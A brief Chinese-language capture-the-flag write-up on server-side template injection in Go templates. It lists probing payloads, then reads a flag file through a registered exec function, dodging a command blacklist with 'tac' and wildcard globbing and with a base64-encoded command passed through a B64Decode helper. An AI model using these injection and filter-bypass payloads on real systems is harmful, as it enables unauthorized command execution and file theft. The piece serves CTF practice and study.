GO_SSTI簡單

學習學習

別人的WP

1
2
3
{{.}}
{{len .}}
{{.Name}}
  1. map[B64Decode:0x6ee380 exec:0x6ee120]
  2. 2
  3. no value

要調用是:

结构体

1
{{.Exec "arg"}}

exec 通过 FuncMap 注册

1
{{ exec "args" }}

使用 call 函数显式调用

1
{{call .exec "arg"}}
a4a20369-2ed7-434c-99cc-807cb65c804c.png

題目是可以用exec 不過有黑名單 , 不過有B64Decode可以用

手注:

cat被ban 了可以用tac 和 ??a?

1
{{exec "tac /??a?"}}

用base64來繞過:

1
{{exec (B64Decode "dGFjIC9mbGFn")}}

59f28f69-775b-4296-8afb-4f6247b90af8.png